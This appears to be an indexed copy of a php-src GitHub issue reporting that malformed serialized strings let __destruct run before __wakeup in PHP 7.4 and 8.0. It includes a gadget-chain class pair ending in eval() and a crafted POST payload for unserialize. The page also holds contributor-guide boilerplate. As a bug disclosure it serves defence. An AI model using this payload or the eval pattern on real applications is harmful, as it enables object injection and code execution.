php / php/php-src

unserialize __wakeup bypass

Open
#9,618 4 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Bug Category: Engine Category: Serialization Extension: standard Status: Verified
Dominant language
C
Stars
40.4k
Forks
8.1k
Avg merge
2d 13h
Merged PRs (30d)
96

Description

Description

The following code:

<?php

class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}

class B
{
    public $end;

    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }

    public function __call($method, $args)
    {
        eval('echo "aaaa";' . $this->end . 'echo "bbb"');
    }
}

unserialize($_POST['data']);

I found an interesting bug. When the deserialized string contains a variable name with the wrong string length, the deserialization continues, but the __destruct() function is called before __wakeup is called. This way you can bypass __wakeup().

I've tested it on some versions and I'm not sure if others have this problem, it's also useful in the latest version.

  • 7.4.x -7.4.30
  • 8.0.x

[POST]data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}

This event also is triggered when

  • delete )
  • Inconsistent number of class attributes
  • The length of the attribute key does not match.
  • The length of the attribute value does not match.
  • delete ;

Expected Results:

aaaa bbb __wakeup

PHP Version

PHP 7.4.x PHP8.0.x

Operating System

Windows/Linux

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by reproducing the supplied POST data with the PHP 7.4 and 8.0 versions listed, then trace the unserialize lifecycle around B::__wakeup() and A::__destruct(). Compare the observed ordering with the expected output and determine a testable lifecycle invariant; the issue does not identify a source file or specify the desired fix.

Written by the indexing model from the issue text.

Assessment

Tech stack
php
Domain
backend, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.